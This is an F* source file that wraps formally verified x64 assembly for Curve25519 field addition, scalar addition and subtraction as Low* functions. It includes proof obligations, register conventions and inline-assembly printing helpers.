module Vale.Inline.X64.Fadd_inline open FStar.Mul open FStar.HyperStack.ST module HS = FStar.HyperStack module B = LowStar.Buffer module DV = LowStar.BufferView.Down open Vale.Def.Types_s open Vale.Interop.Base module IX64 = Vale.Interop.X64 module VSig = Vale.AsLowStar.ValeSig module LSig = Vale.AsLowStar.LowStarSig module ME = Vale.X64.Memory module V = Vale.X64.Decls module IA = Vale.Interop.Assumptions module W = Vale.AsLowStar.Wrapper open Vale.X64.MemoryAdapters module VS = Vale.X64.State module MS = Vale.X64.Machine_s module PR = Vale.X64.Print_Inline_s module FU = Vale.Curve25519.X64.FastUtil module FH = Vale.Curve25519.X64.FastHybrid module FW = Vale.Curve25519.X64.FastWide let uint64 = UInt64.t (* A little utility to trigger normalization in types *) let as_t (#a:Type) (x:normal a) : a = x let as_normal_t (#a:Type) (x:a) : normal a = x [@__reduce__] let b64 = buf_t TUInt64 TUInt64 [@__reduce__] let t64_mod = TD_Buffer TUInt64 TUInt64 default_bq [@__reduce__] let t64_no_mod = TD_Buffer TUInt64 TUInt64 ({modified=false; strict_disjointness=false; taint=MS.Secret}) [@__reduce__] let tuint64 = TD_Base TUInt64 [@__reduce__] let dom: IX64.arity_ok 3 td = let y = [t64_mod; t64_no_mod; tuint64] in assert_norm (List.length y = 3); y (* Need to rearrange the order of arguments *) [@__reduce__] let add1_pre : VSig.vale_pre dom = fun (c:V.va_code) (out:b64) (f1:b64) (f2:uint64) (va_s0:V.va_state) -> FU.va_req_Fast_add1 c va_s0 (as_vale_buffer out) (as_vale_buffer f1) (UInt64.v f2) [@__reduce__] let add1_post : VSig.vale_post dom = fun (c:V.va_code) (out:b64) (f1:b64) (f2:uint64) (va_s0:V.va_state) (va_s1:V.va_state) (f:V.va_fuel) -> FU.va_ens_Fast_add1 c va_s0 (as_vale_buffer out) (as_vale_buffer f1) (UInt64.v f2) va_s1 f #set-options "--z3rlimit 50" let add1_regs_modified: MS.reg_64 -> bool = fun (r:MS.reg_64) -> let open MS in if r = rRax || r = rRdx || r = rR8 || r = rR9 || r = rR10 || r = rR11 then true else false let add1_xmms_modified = fun _ -> false [@__reduce__] let add1_lemma' (code:V.va_code) (_win:bool) (out:b64) (f1:b64) (f2:uint64) (va_s0:V.va_state) : Ghost (V.va_state & V.va_fuel) (requires add1_pre code out f1 f2 va_s0) (ensures (fun (va_s1, f) -> V.eval_code code va_s0 f va_s1 /\ VSig.vale_calling_conventions va_s0 va_s1 add1_regs_modified add1_xmms_modified /\ add1_post code out f1 f2 va_s0 va_s1 f /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer f1) /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer out) /\ ME.buffer_writeable (as_vale_buffer out) /\ ME.buffer_writeable (as_vale_buffer f1) /\ ME.modifies (ME.loc_union (ME.loc_buffer (as_vale_buffer out)) ME.loc_none) (VS.vs_get_vale_heap va_s0) (VS.vs_get_vale_heap va_s1) )) = let va_s1, f = FU.va_lemma_Fast_add1 code va_s0 (as_vale_buffer out) (as_vale_buffer f1) (UInt64.v f2) in Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 out; Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 f1; (va_s1, f) (* Prove that add1_lemma' has the required type *) let add1_lemma = as_t #(VSig.vale_sig add1_regs_modified add1_xmms_modified add1_pre add1_post) add1_lemma' let code_add1 = FU.va_code_Fast_add1 () let of_reg (r:MS.reg_64) : option (IX64.reg_nat 3) = match r with | 5 -> Some 0 // rdi | 4 -> Some 1 // rsi | 3 -> Some 2 // rdx | _ -> None let of_arg (i:IX64.reg_nat 3) : MS.reg_64 = match i with | 0 -> MS.rRdi | 1 -> MS.rRsi | 2 -> MS.rRdx let arg_reg : IX64.arg_reg_relation 3 = IX64.Rel of_reg of_arg (* Here's the type expected for the add1 wrapper *) [@__reduce__] let lowstar_add1_t = assert_norm (List.length dom + List.length ([]<:list arg) <= 3); IX64.as_lowstar_sig_t_weak 3 arg_reg add1_regs_modified add1_xmms_modified code_add1 dom [] _ _ // The boolean here doesn't matter (W.mk_prediction code_add1 dom [] (add1_lemma code_add1 IA.win)) (* And here's the add1 wrapper itself *) let lowstar_add1 : lowstar_add1_t = assert_norm (List.length dom + List.length ([]<:list arg) <= 3); IX64.wrap_weak 3 arg_reg add1_regs_modified add1_xmms_modified code_add1 dom (W.mk_prediction code_add1 dom [] (add1_lemma code_add1 IA.win)) let lowstar_add1_normal_t : normal lowstar_add1_t = as_normal_t #lowstar_add1_t lowstar_add1 open Vale.AsLowStar.MemoryHelpers let add_scalar out f1 f2 = DV.length_eq (get_downview out); DV.length_eq (get_downview f1); let (x, _) = lowstar_add1_normal_t out f1 f2 () in x let add1_comments : list string = ["Computes the addition of four-element f1 with value in f2"; "and returns the carry (if any)"] let add1_names (n:nat) = match n with | 0 -> "out" | 1 -> "f1" | 2 -> "f2" | _ -> "" let add1_code_inline () : FStar.All.ML int = PR.print_inline "add_scalar" 0 (Some "carry_r") (List.length dom) dom add1_names code_add1 of_arg add1_regs_modified add1_comments [@__reduce__] let fadd_dom: IX64.arity_ok_stdcall td = let y = [t64_mod; t64_no_mod; t64_no_mod] in assert_norm (List.length y = 3); y (* Need to rearrange the order of arguments *) [@__reduce__] let fadd_pre : VSig.vale_pre fadd_dom = fun (c:V.va_code) (out:b64) (f1:b64) (f2:b64) (va_s0:V.va_state) -> FH.va_req_Fadd c va_s0 (as_vale_buffer out) (as_vale_buffer f1) (as_vale_buffer f2) [@__reduce__] let fadd_post : VSig.vale_post fadd_dom = fun (c:V.va_code) (out:b64) (f1:b64) (f2:b64) (va_s0:V.va_state) (va_s1:V.va_state) (f:V.va_fuel) -> FH.va_ens_Fadd c va_s0 (as_vale_buffer out) (as_vale_buffer f1) (as_vale_buffer f2) va_s1 f #set-options "--z3rlimit 50" let fadd_regs_modified: MS.reg_64 -> bool = fun (r:MS.reg_64) -> let open MS in if r = rRax || r = rRcx || r = rRdx || r = rR8 || r = rR9 || r = rR10 || r = rR11 then true else false let fadd_xmms_modified = fun _ -> false [@__reduce__] let fadd_lemma' (code:V.va_code) (_win:bool) (out:b64) (f1:b64) (f2:b64) (va_s0:V.va_state) : Ghost (V.va_state & V.va_fuel) (requires fadd_pre code out f1 f2 va_s0) (ensures (fun (va_s1, f) -> V.eval_code code va_s0 f va_s1 /\ VSig.vale_calling_conventions va_s0 va_s1 fadd_regs_modified fadd_xmms_modified /\ fadd_post code out f1 f2 va_s0 va_s1 f /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer out) /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer f1) /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer f2) /\ ME.buffer_writeable (as_vale_buffer out) /\ ME.buffer_writeable (as_vale_buffer f1) /\ ME.buffer_writeable (as_vale_buffer f2) /\ ME.modifies (ME.loc_union (ME.loc_buffer (as_vale_buffer out)) ME.loc_none) (VS.vs_get_vale_heap va_s0) (VS.vs_get_vale_heap va_s1) )) = let va_s1, f = FH.va_lemma_Fadd code va_s0 (as_vale_buffer out) (as_vale_buffer f1) (as_vale_buffer f2) in Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 out; Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 f1; Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 f2; (va_s1, f) (* Prove that add1_lemma' has the required type *) let fadd_lemma = as_t #(VSig.vale_sig fadd_regs_modified fadd_xmms_modified fadd_pre fadd_post) fadd_lemma' let code_Fadd = FH.va_code_Fadd () (* Here's the type expected for the fadd wrapper *) [@__reduce__] let lowstar_fadd_t = assert_norm (List.length fadd_dom + List.length ([]<:list arg) <= 3); IX64.as_lowstar_sig_t_weak 3 arg_reg fadd_regs_modified fadd_xmms_modified code_Fadd fadd_dom [] _ _ // The boolean here doesn't matter (W.mk_prediction code_Fadd fadd_dom [] (fadd_lemma code_Fadd IA.win)) (* And here's the fadd wrapper itself *) let lowstar_fadd : lowstar_fadd_t = assert_norm (List.length fadd_dom + List.length ([]<:list arg) <= 3); IX64.wrap_weak 3 arg_reg fadd_regs_modified fadd_xmms_modified code_Fadd fadd_dom (W.mk_prediction code_Fadd fadd_dom [] (fadd_lemma code_Fadd IA.win)) let lowstar_fadd_normal_t : normal lowstar_fadd_t = as_normal_t #lowstar_fadd_t lowstar_fadd let fadd out f1 f2 = DV.length_eq (get_downview out); DV.length_eq (get_downview f1); DV.length_eq (get_downview f2); let (x, _) = lowstar_fadd_normal_t out f1 f2 () in () let fadd_comments : list string = ["Computes the field addition of two field elements"] let fadd_names (n:nat) = match n with | 0 -> "out" | 1 -> "f1" | 2 -> "f2" | _ -> "" let fadd_code_inline () : FStar.All.ML int = PR.print_inline "fadd" 0 None (List.length fadd_dom) fadd_dom fadd_names code_Fadd of_arg fadd_regs_modified fadd_comments [@__reduce__] let fsub_dom: IX64.arity_ok_stdcall td = let y = [t64_mod; t64_no_mod; t64_no_mod] in assert_norm (List.length y = 3); y (* Need to rearrange the order of arguments *) [@__reduce__] let fsub_pre : VSig.vale_pre fsub_dom = fun (c:V.va_code) (out:b64) (f1:b64) (f2:b64) (va_s0:V.va_state) -> FH.va_req_Fsub c va_s0 (as_vale_buffer out) (as_vale_buffer f1) (as_vale_buffer f2) [@__reduce__] let fsub_post : VSig.vale_post fsub_dom = fun (c:V.va_code) (out:b64) (f1:b64) (f2:b64) (va_s0:V.va_state) (va_s1:V.va_state) (f:V.va_fuel) -> FH.va_ens_Fsub c va_s0 (as_vale_buffer out) (as_vale_buffer f1) (as_vale_buffer f2) va_s1 f #set-options "--z3rlimit 200" let fsub_regs_modified: MS.reg_64 -> bool = fun (r:MS.reg_64) -> let open MS in if r = rRax || r = rRcx || r = rR8 || r = rR9 || r = rR10 || r = rR11 then true else false let fsub_xmms_modified = fun _ -> false [@__reduce__] let fsub_lemma' (code:V.va_code) (_win:bool) (out:b64) (f1:b64) (f2:b64) (va_s0:V.va_state) : Ghost (V.va_state & V.va_fuel) (requires fsub_pre code out f1 f2 va_s0) (ensures (fun (va_s1, f) -> V.eval_code code va_s0 f va_s1 /\ VSig.vale_calling_conventions va_s0 va_s1 fsub_regs_modified fsub_xmms_modified /\ fsub_post code out f1 f2 va_s0 va_s1 f /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer out) /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer f1) /\ ME.buffer_readable (VS.vs_get_vale_heap va_s1) (as_vale_buffer f2) /\ ME.buffer_writeable (as_vale_buffer out) /\ ME.buffer_writeable (as_vale_buffer f1) /\ ME.buffer_writeable (as_vale_buffer f2) /\ ME.modifies (ME.loc_union (ME.loc_buffer (as_vale_buffer out)) ME.loc_none) (VS.vs_get_vale_heap va_s0) (VS.vs_get_vale_heap va_s1) )) = let va_s1, f = FH.va_lemma_Fsub code va_s0 (as_vale_buffer out) (as_vale_buffer f1) (as_vale_buffer f2) in Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 out; Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 f1; Vale.AsLowStar.MemoryHelpers.buffer_writeable_reveal ME.TUInt64 ME.TUInt64 f2; (va_s1, f) (* Prove that fsub_lemma' has the required type *) let fsub_lemma = as_t #(VSig.vale_sig fsub_regs_modified fsub_xmms_modified fsub_pre fsub_post) fsub_lemma' let code_Fsub = FH.va_code_Fsub () (* Here's the type expected for the fsub wrapper *) [@__reduce__] let lowstar_Fsub_t = assert_norm (List.length fsub_dom + List.length ([]<:list arg) <= 3); IX64.as_lowstar_sig_t_weak 3 arg_reg fsub_regs_modified fsub_xmms_modified code_Fsub fsub_dom [] _ _ // The boolean here doesn't matter (W.mk_prediction code_Fsub fsub_dom [] (fsub_lemma code_Fsub IA.win)) (* And here's the fsub wrapper itself *) let lowstar_Fsub : lowstar_Fsub_t = assert_norm (List.length fsub_dom + List.length ([]<:list arg) <= 3); IX64.wrap_weak 3 arg_reg fsub_regs_modified fsub_xmms_modified code_Fsub fsub_dom (W.mk_prediction code_Fsub fsub_dom [] (fsub_lemma code_Fsub IA.win)) let lowstar_Fsub_normal_t : normal lowstar_Fsub_t = as_normal_t #lowstar_Fsub_t lowstar_Fsub let fsub out f1 f2 = DV.length_eq (get_downview out); DV.length_eq (get_downview f1); DV.length_eq (get_downview f2); let (x, _) = lowstar_Fsub_normal_t out f1 f2 () in () let fsub_comments : list string = ["Computes the field substraction of two field elements"] let fsub_names (n:nat) = match n with | 0 -> "out" | 1 -> "f1" | 2 -> "f2" | _ -> "" let fsub_code_inline () : FStar.All.ML int = PR.print_inline "fsub" 0 None (List.length fsub_dom) fsub_dom fsub_names code_Fsub of_arg fsub_regs_modified fsub_comments
{ "pile_set_name": "Github" }